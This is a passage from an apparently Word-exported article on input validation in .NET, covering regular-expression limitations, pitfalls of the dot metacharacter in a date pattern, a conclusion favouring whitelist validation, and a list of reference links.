&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Calibri size=3&gt;Unfortunately, regular expressions have some significant limitations:&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo2"&gt;&lt;A class="" name=505&gt;&lt;/A&gt;&lt;A class="" name=wbpch08P698&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Performance Impact &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l1 level2 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;o&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;The more complex the regular expression, the more CPU cycles are required. RegEx generally have exponential complexity. Use of OR (|) to create a complex regular expression can slow down your application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Certain kinds of strings are very hard, if not impossible to recognize by regular expressions.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 0.5in; TEXT-INDENT: -0.25in; mso-list: l1 level1 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;·&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Sometimes it requires extra time and effort to construct RegEx which will validate all good data &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt 1in; TEXT-INDENT: -0.25in; mso-list: l1 level2 lfo2"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Courier New'; mso-fareast-font-family: 'Courier New'; mso-fareast-language: EN-US"&gt;&lt;SPAN style="mso-list: Ignore"&gt;o&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Different input but all are valid forms E.g a valid email address can be – &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="mailto:abc@foo.com"&gt;&lt;SPAN style="FONT-SIZE: 11pt; COLOR: windowtext; FONT-FAMILY: 'Calibri','sans-serif'; TEXT-DECORATION: none; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US; text-underline: none"&gt;abc@foo.com&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt; or &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="mailto:abc@111.222.333.444"&gt;&lt;SPAN style="FONT-SIZE: 11pt; COLOR: windowtext; FONT-FAMILY: 'Calibri','sans-serif'; TEXT-DECORATION: none; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US; text-underline: none"&gt;abc@111.222.333.444&lt;/SPAN&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=first-para style="MARGIN: 0.15in 0in 0pt"&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;A class="" name=_Toc168485144&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#4f81bd size=4&gt;Be careful with the DOT(.)&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in; tab-stops: .25in 48.0pt 78.0pt 1.5in 138.0pt 168.0pt 2.75in 228.0pt 258.0pt 4.0in 318.0pt 348.0pt 5.25in 408.0pt 438.0pt 6.5in 498.0pt 528.0pt 7.75in 588.0pt 618.0pt 9.0in 678.0pt 708.0pt 10.25in 768.0pt 798.0pt 11.5in 858.0pt 888.0pt 12.75in 948.0pt; mso-layout-grid-align: none"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;Dot is a very powerful regular expression meta- character, but there is something important to understand about its use. &lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt"&gt;&lt;FONT face="Times New Roman"&gt;Dot is a part &lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;of character class that represents a set of characters which can match an input string; the dot matches a single character without caring what that character is. The only exceptions are newline characters. This means that the regular expression will also match in cases where it should not match. Thus, use of DOT sometimes creates regular expression that is very loosely written. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 11pt; FONT-FAMILY: 'Calibri','sans-serif'; mso-bidi-font-family: 'Times New Roman'; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-ascii-theme-font: minor-latin; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-fareast-language: EN-US"&gt;For example, let's say we want to match a date in mm/dd/yy format, but we want to leave the user the choice of date separators. The quick solution is \d\d.\d\d.\d\d. Seems fine at first. It will match a date like 04/09/07 just fine. The problem comes when you pass something like “04109807” via this regular expression. &lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;This input passes the validation requirement without any red alerts. Why? Because it is also considered a valid date by the quick solution regular expression. In this match, the first dot matched 1, and the second matched 8. Clearly this is something which is not intended. It is therefore advised to use this meta-character sparingly or with caution. &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;H1 style="MARGIN: 24pt 0in 0pt"&gt;&lt;A class="" name=_Toc168485145&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;Conclusions&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/H1&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;The .NET framework has many powerful features for implementing white list validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;Remember to use white list validation whenever possible.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;It is a more restrictive, definitive, and manageable means to perform strong input validation in your applications.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;On the other hand, black list validation is less restrictive and more difficult to manage and maintain.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;As you have seen, there are many ways to bypass black list validation.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Of course, a combination of both the approaches can be leveraged where it is difficult to define exactly what you are looking for in the input. However you validate, consider a centralize approach to input and data validation within your application.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;Maintainability of the code becomes quite simple as your validation routines are defined at one place. &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Attacks on the application layer have tremendously increased over the years. Most of the deadly web application attacks exploit poor input validation as root vulnerability. Understanding the right validation approach and techniques for user input filtering are the keys to a secure web application. &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;It’s a bad world outside so- Validate! Validate and validate all user controlled input prior to consuming it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="mso-ansi-language: EN-US"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;A class="" name=_Toc168485146&gt;&lt;/A&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt;References&lt;/FONT&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;FONT face=Cambria color=#365f91 size=5&gt; &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN lang=EN-IN&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.75in; TEXT-INDENT: -0.25in; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/ms998378.aspx#pagquestionlist0002_inputdatavalidation"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://msdn2.microsoft.com/en-us/library/ms998378.aspx#pagquestionlist0002_inputdatavalidation&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN style="FONT-SIZE: 10pt; LINE-HEIGHT: 140%; FONT-FAMILY: 'Verdana','sans-serif'; mso-bidi-font-family: Arial"&gt;Anti-Cross Site Scripting Library - &lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/security/aa973814.aspx"&gt;&lt;SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 140%; FONT-FAMILY: 'Verdana','sans-serif'; mso-bidi-font-family: Arial"&gt;&lt;FONT color=#0000ff&gt;http://msdn2.microsoft.com/en-us/security/aa973814.aspx&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://msdn.microsoft.com/archive/default.asp?url=/archive/en-us/samples/internet/components/sitelock/default.asp&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/ms998267.aspx"&gt;&lt;SPAN style="COLOR: windowtext"&gt;&lt;FONT face=Calibri size=3&gt;How To: Use Regular Expressions to Constrain Input in ASP.NET&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpguide/html/cpconvalidatorcontrolsamples.asp"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Developing a Validator Control&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://msdn2.microsoft.com/en-us/library/7kh55542.aspx"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Validating User input in ASP.NET web pages&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://www.guidancelibrary.com/default.aspx/Home.RegExInputValCode&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://www.gotdotnet.com/Community/UserSamples/Details.aspx?SampleGuid=c712f2df-b026-4d58-8961-4ee2729d7322"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;Regular Expression Work bench&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 15pt 15pt 15pt 0.75in; VERTICAL-ALIGN: top; TEXT-INDENT: -0.25in; LINE-HEIGHT: 140%; mso-list: l0 level1 lfo1"&gt;&lt;SPAN lang=EN-IN style="FONT-FAMILY: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol"&gt;&lt;SPAN style="mso-list: Ignore"&gt;&lt;FONT size=3&gt;·&lt;/FONT&gt;&lt;SPAN style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN lang=EN-IN&gt;&lt;A href="http://www.regular-expressions.info/"&gt;&lt;FONT face=Calibri color=#0000ff size=3&gt;http://www.regular-expressions.info/&lt;/FONT&gt;&lt;/A&gt;&lt;U&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/U&gt;&lt;/SPAN&gt;&lt;/P&gt;
